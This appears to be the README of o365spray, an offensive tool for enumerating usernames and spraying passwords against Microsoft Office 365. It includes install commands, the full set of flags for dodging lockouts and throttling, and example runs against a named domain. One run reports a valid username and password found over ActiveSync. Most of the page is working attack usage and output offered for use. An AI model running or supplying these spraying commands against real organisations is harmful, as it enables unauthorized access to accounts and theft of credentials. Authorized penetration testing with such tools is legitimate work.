O365spray

o365spray a username enumeration and password spraying tool aimed at Microsoft Office 365 (O365). This tool reimplements a collection of enumeration and spray techniques researched and identified by those mentioned in Acknowledgments.

WARNING: The oAuth2 module for user enumeration is performed by submitting a single authentication attempt per user. If the module is run in conjunction with password spraying in a single execution, o365spray will automatically reset the lockout timer prior to performing the password spray – if enumeration is run alone, the user should be aware of how many and when each authentication attempt was made and manually reset the lockout timer before performing any password spraying.

Installation

git clone https://github.com/0xZDH/o365spray
python3 -m pip install -r requirements.txt

Usage

o365spray.py [-h] [-d DOMAIN] [--validate] [--enum] [--spray] [-u USERNAME] [-p PASSWORD] [-U USERFILE] [-P PASSFILE] [--paired PAIRED] [-c COUNT] [-l LOCKOUT] [--enum-module {office,onedrive,oauth2}]
                    [--spray-module {oauth2,activesync,autodiscover,reporting,adfs}] [--adfs-url ADFS_URL] [--sleep [-1, 0-120]] [--jitter [0-100]] [--rate RATE] [--safe SAFE] [--timeout TIMEOUT] [--proxy PROXY] [--output OUTPUT]
                    [-v] [--debug]

Flags

o365spray | Microsoft O365 User Enumerator and Password Sprayer -- v2.0.4

optional arguments:
  -h, --help            show this help message and exit
  -d DOMAIN, --domain DOMAIN
                        Target domain for validation, user enumeration, and/or password spraying.
  --validate            Run domain validation only.
  --enum                Run username enumeration.
  --spray               Run password spraying.
  -u USERNAME, --username USERNAME
                        Username(s) delimited using commas.
  -p PASSWORD, --password PASSWORD
                        Password(s) delimited using commas.
  -U USERFILE, --userfile USERFILE
                        File containing list of usernames.
  -P PASSFILE, --passfile PASSFILE
                        File containing list of passwords.
  --paired PAIRED       File containing list of credentials in username:password format.
  -c COUNT, --count COUNT
                        Number of password attempts to run per user before resetting the lockout account timer. Default: 1
  -l LOCKOUT, --lockout LOCKOUT
                        Lockout policy's reset time (in minutes). Default: 15 minutes
  --enum-module {office,onedrive,oauth2}
                        Specify which enumeration module to run. Default: office
  --spray-module {oauth2,activesync,autodiscover,reporting,adfs}
                        Specify which password spraying module to run. Default: oauth2
  --adfs-url ADFS_URL   AuthURL of the target domain's ADFS login page for password spraying.
  --sleep [-1, 0-120]   Throttle HTTP requests every `N` seconds. This can be randomized by passing the value `-1` (between 1 sec and 2 mins). Default: 0
  --jitter [0-100]      Jitter extends --sleep period by percentage given (0-100). Default: 0
  --rate RATE           Number of concurrent connections (attempts) during enumeration and spraying. Default: 10
  --safe SAFE           Terminate password spraying run if `N` locked accounts are observed. Default: 10
  --timeout TIMEOUT     HTTP request timeout in seconds. Default: 25
  --proxy PROXY         HTTP/S proxy to pass traffic through (e.g. http://127.0.0.1:8080).
  --output OUTPUT       Output directory for results and test case files. Default: current directory
  -v, --version         Print the tool version.
  --debug               Enable debug output.

Examples

Validate domain

$ python3 o365spray.py -d offsec.nl --validate

            *** O365 Spray ***            

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  offsec.nl
   > validate       :  True
   > timeout        :  25 seconds
   > start          :  2021-11-03 20:52:48

>----------------------------------------<

[2021-11-03 20:52:48,396] INFO : Running O365 validation for: offsec.nl
[2021-11-03 20:52:48,652] INFO : [WARNING] The following domain is using O365, but is Federated: offsec.nl
        [!] --> ADFS AuthURL: https://offsec.okta-emea.com/app/office365/

Passwordspray over ActiveSync

$ python3 o365spray.py -d offsec.nl -u john.do --paired usercreds.txt --spray-module activesync --spray

            *** O365 Spray ***            

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  offsec.nl
   > spray          :  True
   > username       :  john.do
   > paired         :  usercreds.txt
   > count          :  1 passwords/spray
   > lockout        :  15.0 minutes
   > spray_module   :  activesync
   > rate           :  10 threads
   > safe           :  10 locked accounts
   > timeout        :  25 seconds
   > start          :  2021-11-03 21:00:26

>----------------------------------------<

[2021-11-03 21:00:26,533] INFO : Running O365 validation for: offsec.nl
[2021-11-03 21:00:26,736] INFO : [WARNING] The following domain is using O365, but is Federated: offsec.nl
        [!] --> ADFS AuthURL: https://offsec.okta-emea.com/app/office365/
[2021-11-03 21:00:26,736] INFO : 

[ ? ]   Switch to the ADFS module for password spraying [Y/n] n
[2021-11-03 21:00:30,062] INFO : Running password spray against 1 users.
[2021-11-03 21:00:30,063] INFO : Password spraying using paired usernames:passwords.
[2021-11-03 21:00:30,498] INFO : [VALID] [email protected]:Welkom1234!
[2021-11-03 21:00:30,499] INFO : 

[ * ] Writing valid credentials to: '/o365spray/spray/spray_valid_credentials.2111032100.txt'
[ * ] All sprayed credentials can be found at: '/o365spray/spray/spray_tested_credentials.2111032100.txt'

[2021-11-03 21:00:30,499] INFO : Valid Credentials: 1

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